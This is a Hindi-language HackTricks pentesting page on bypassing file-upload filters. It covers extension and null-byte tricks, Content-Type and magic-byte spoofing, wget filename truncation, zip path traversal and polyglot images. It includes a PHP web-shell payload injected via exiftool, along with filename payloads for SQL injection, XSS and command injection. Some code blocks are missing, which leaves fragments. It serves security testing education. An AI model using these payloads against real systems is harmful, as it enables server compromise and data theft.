- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
2. एक्सटेंशन के कुछ अक्षरों को **अपरकेस** में परिवर्तित करने का प्रयास करें। जैसे: _.pHp, .pHP5, .PhAr ..._
3. कुछ **डबल \(या अधिक\) एक्सटेंशन** अपलोड करने का प्रयास करें \(जो एक विशेष एक्सटेंशन की जांच करने वाली गलत विन्यासित जांच को छोड़ देती है\):
1._file.png.php_
2._file.png.txt.php_
4.**अपाचे गलत विन्यासों का शोध** करने के लिए **रिवर्स डबल एक्सटेंशन** अपलोड करें \(जहां कुछ भी एक्सटेंशन _.php_ के साथ होगा, लेकिन **अनिवार्य रूप से .php से समाप्त नहीं होगा** वहां कोड को निष्पादित करेगा\):
* _उदा। file.php.png_
5.**नल कैरेक्टर के साथ डबल एक्सटेंशन**:
1._उदा। file.php%00.png_
6. एक्सटेंशन के **अंत में कुछ विशेष वर्ण** जोड़ें_: %00, %20, \(कई डॉट्स\)...._
1._उदा। file.php%00_
2._उदा। file.php%20_
3._उदा। file.php...... --> विंडोज में जब एक फ़ाइल डॉट्स के साथ बनाई जाती है, तो वे हटा दिए जाएंगे \(इसलिए आप .php की जांच करने वाले फ़िल्टर को छल सकते हैं\)_
4._उदा। file.php/_
5._उदा। file.php.\_
7.**Content-Type****हैडर** के **मान** को सेट करके Content-Type जांच को छलने का प्रयास करें: _image/png_ , _text/plain , application/octet-stream_
8.**मैजिक नंबर जांच** को छलने के लिए फ़ाइल की शुरुआत में एक वास्तविक छवि के **बाइट** जोड़ें \(फ़ाइल को गुमराह करें\)। या शेल को **मेटाडेटा** में प्रस्तुत करें: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
1. यह भी संभव है कि **मैजिक बाइट** फ़ाइल में केवल **जांचे जा रहे हैं** और आप उन्हें **फ़ाइल के कहीं भी सेट** कर सकते हैं।
9.**Windows** में **NTFS वैकल्पिक
फ़ाइलें `.phar` जावा के लिए `.jar` की तरह हैं, लेकिन php के लिए हैं, और इसे **एक php फ़ाइल की तरह उपयोग किया जा सकता है** \(php के साथ इसे निष्पादित करके या इसे स्क्रिप्ट के भीतर सम्मिलित करके...\)
`.inc` एक्सटेंशन कभी-कभी उन php फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें आयात करने के लिए होती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**।
**BurpSuit प्लगइन के साथ बहुत सारी संभावित फ़ाइल अपलोड संरचनाओं की जांच करें** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **या एक कंसोल एप्लिकेशन का उपयोग करें जो अपलोड किए जा सकने वाली फ़ाइलें खोजता है और कोड निष्पादित करने के लिए विभिन्न ट्रिक्स का प्रयास करता है:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
कभी-कभी आपको यह देखने को मिल सकता है कि एक सर्वर **`wget`** का उपयोग कर रहा है **फ़ाइलें डाउनलोड** करने के लिए और आप **URL** को **इंगित** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक whitelist में है ताकि केवल अनुमति प्राप्त फ़ाइलें ही डाउनलोड हों। हालांकि, **इस जांच को दूर किया जा सकता है**।
**लिनक्स** में एक **फ़ाइलनाम** की **अधिकतम** लंबाई **255** है, हालांकि, **wget** फ़ाइलनाम को **236** वर्णों तक काट देता है। आप **"A"\*232+".php"+".gif"** नामक एक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइलनाम जांच को **दूर करेगा** \(जैसा कि इस उदाहरण में **".gif"** एक **वैध** एक्सटेंशन है\) लेकिन `wget` फ़ाइल को **"A"\*232+".php"** नाम से पुनर्नामित करेगा।
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
नोट करें कि इस जांच को बाईपास करने के लिए आपके मन में एक और विकल्प हो सकता है, जो है कि **HTTP सर्वर को एक अलग फ़ाइल पर पुनर्निर्देशित करें**, तो प्रारंभिक URL जांच को बाईपास करेगा, फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह **काम नहीं करेगा****जब तक** wget को **पैरामीटर**`--trust-server-names` के साथ उपयोग किया जा रहा हो, क्योंकि **wget पुनर्निर्देशित पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**।
# फ़ाइल अपलोड से अन्य सुरक्षा दुरुपयोगों तक
* **फ़ाइलनाम** को `../../../tmp/lol.png` सेट करें और पथ ट्रावर्सल प्राप्त करने का प्रयास करें
* **फ़ाइलनाम** को `sleep(10)-- -.jpg` सेट करें और आप एक **SQL इंजेक्शन** प्राप्त कर सकते हैं
* **फ़ाइलनाम** को `<svg onload=alert(document.comain)>` सेट करें और एक **XSS** प्राप्त करें
* **फ़ाइलनाम** को `; sleep 10;` सेट करें और कुछ कमांड इंजेक्शन का परीक्षण करें \(अधिक [कमांड इंजेक्शन ट्रिक्स यहां](command-injection.md)\)
* [**छवि \(svg\) फ़ाइल अपलोड** में XSS](xss-cross-site-scripting/#xss-uploading-files-svg)
* [**svg अपलोड में XXE**](xxe-xee-xml-external-entity.md#svg-file-upload)
* [अपलोड करने के माध्यम से **ओपन रीडायरेक्ट**](open-redirect.md#open-redirect-uploading-svg-files)
* [प्रसिद्ध **ImageTrick** सुरक्षा दुरुपयोग](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* यदि आप **वेब सर्वर को एक URL से छवि पकड़ने के लिए संकेत कर सकते हैं**, तो आप [SSRF](ssrf-server-side-request-forgery.md) का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह **छवि** किसी **सार्वजनिक** साइट में **सहेजी** जाएगी, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL निर्दिष्ट कर सकते हैं और **प्रत्येक आगंतुक की जानकारी चुरा सकते हैं**।
यहां एक शीर्ष 10 सूची है जिनके द्वारा आप अपलोड करके कुछ प्राप्त कर सकते हैं \(स्रोत से [लिंक](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
आसानी से सोचा जा सकता है कि यह सेटअप ख़राब फ़ाइल अपलोड के माध्यम से ओएस स्तर के कमांड निष्पादन से सुरक्षित है, लेकिन दुर्भाग्य से यह सच नहीं है। क्योंकि ZIP आर्काइव प्रारूप हार्कियर्कल कंप्रेशन को समर्थित करता है और हम उच्च स्तरीय निर्देशिकाओं का संदर्भ भी कर सकते हैं, हम लक्ष्य अनुप्रयोग की डीकंप्रेशन सुविधा का दुरुपयोग करके सुरक्षित अपलोड डायरेक्टरी से बाहर निकल सकते हैं।
यहां `malicious_file.exe` एक दुष्ट फ़ाइल है जो आप ज़िप में शामिल करना चाहते हैं। आप इस कोड को चलाने के बाद, `malicious.zip` नामक एक नया ज़िप फ़ाइल बनेगी जिसमें यह दुष्ट फ़ाइल शामिल होगी।
केवल एक कदम शेष रह गया: ZIP फ़ाइल अपलोड करें और ऐप्लिकेशन को इसे डीकंप्रेस करने दें! यदि यह सफल होता है और वेब सर्वर को निर्दिष्ट निर्देशिकाओं में लिखने के लिए पर्याप्त अधिकार होते हैं, तो सिस्टम पर एक साधारण ओएस कमांड निष्पादन शैली होगी:
कभी-कभी ऐप्लिकेशन एक फ़ाइल के लोड होने को ब्लॉक कर देता है जबकि यह जांचता है कि ज़िप फ़ाइल के अंदर का एक्सटेंशन क्या है। यदि यह सतर्कता सतही है, अर्थात लोकल फ़ील्ड हैडर के अंदर की फ़ाइल के नाम की जांच करके, तो इसे ऐप्लिकेशन को धोखा देने के लिए दूसरे एक्सटेंशन के साथ बनाकर आप इसे चक्रव्यूह में डीकंप्रेस कर सकते हैं।
ध्यान दें कि नाम में इसके अंदर एक स्थान है। अब आप एक हेक्स संपादक के साथ उत्पन्न किए गए ज़िप फ़ाइल को संपादित कर सकते हैं, और केंद्रीय निर्देशिका हैडर के अंदर स्थित नाम में इस वर्ग को एक शून्य बाइट `00` से बदल सकते हैं:
जब एप्लिकेशन ज़िप के अंदर फ़ाइल के फ़ाइलनेम की जांच करेगा, तो इस जांच के लिए उपयोग किया जाने वाला नाम स्थानीय फ़ाइल हैडर का नाम होगा, **लेकिन अगर ज़िप एन्क्रिप्टेड है तो नहीं** (pkzip स्पेसिफिकेशन देखें)। जब 7z या unzip दो नामों के बीच अंतर देखेंगे, तो फ़ाइल को संग्रहीत करने के लिए उपयोग किया जाने वाला नाम सेंट्रल डायरेक्टरी हेडर का नाम होगा। नल बाइट के धन्यवाद से, नाम `shell.php` होगा।
IDAT चंक में वेब शेल रखने का प्राथमिक कारण यह है कि इसके पास रीसाइज़ और री-सैंपलिंग ऑपरेशनों को छलने की क्षमता होती है - PHP-GD में इसे करने के लिए दो फ़ंक्शन होते हैं [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) और [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
इस पोस्ट को पढ़ें: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
सुरक्षा संदर्भ में, पॉलीग्लॉट फ़ाइलें ऐसी फ़ाइलें हैं जो कई अलग-अलग फ़ाइल प्रकारों के मान्य रूप हैं। उदाहरण के लिए, [GIFAR](https://en.wikipedia.org/wiki/Gifar) एक GIF और RAR फ़ाइल दोनों है। वहां ऐसी भी फ़ाइलें हैं जो GIF और JS, PPT और JS, आदि दोनों हो सकती हैं।
पॉलीग्लॉट फ़ाइलें अक्सर फ़ाइल प्रकार पर आधारित सुरक्षा से बचने के आधार पर सुरक्षा को छलने के लिए उपयोग की जाती हैं। बहुत सारे ऐप्लिकेशन उपयोगकर्ताओं को केवल निश्चित प्रकारों जैसे JPEG, GIF, DOC जैसी फ़ाइलें अपलोड करने की अनुमति देते हैं, ताकि उपयोगकर्ताओं को JS फ़ाइलें, PHP फ़ाइलें या Phar फ़ाइलें जैसी संभावित खतरनाक फ़ाइलें अपलोड करने से रोका जा सके।
इससे ऐसी फ़ाइल को अपलोड करने में मदद मिलती है जो कई अलग-अलग प्रारूपों के साथ मेल खाती है। यह आपको एक PHAR फ़ाइल (PHp ARchive) को अपलोड करने की अनुमति देता है जो एक JPEG की तरह दिखती है, लेकिन शायद आपको एक मान्य एक्सटेंशन की भी आवश्यकता होगी और यदि अपलोड फ़ंक्शन इसे अनुमति नहीं देता है तो यह आपकी मदद नहीं करेगा।
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!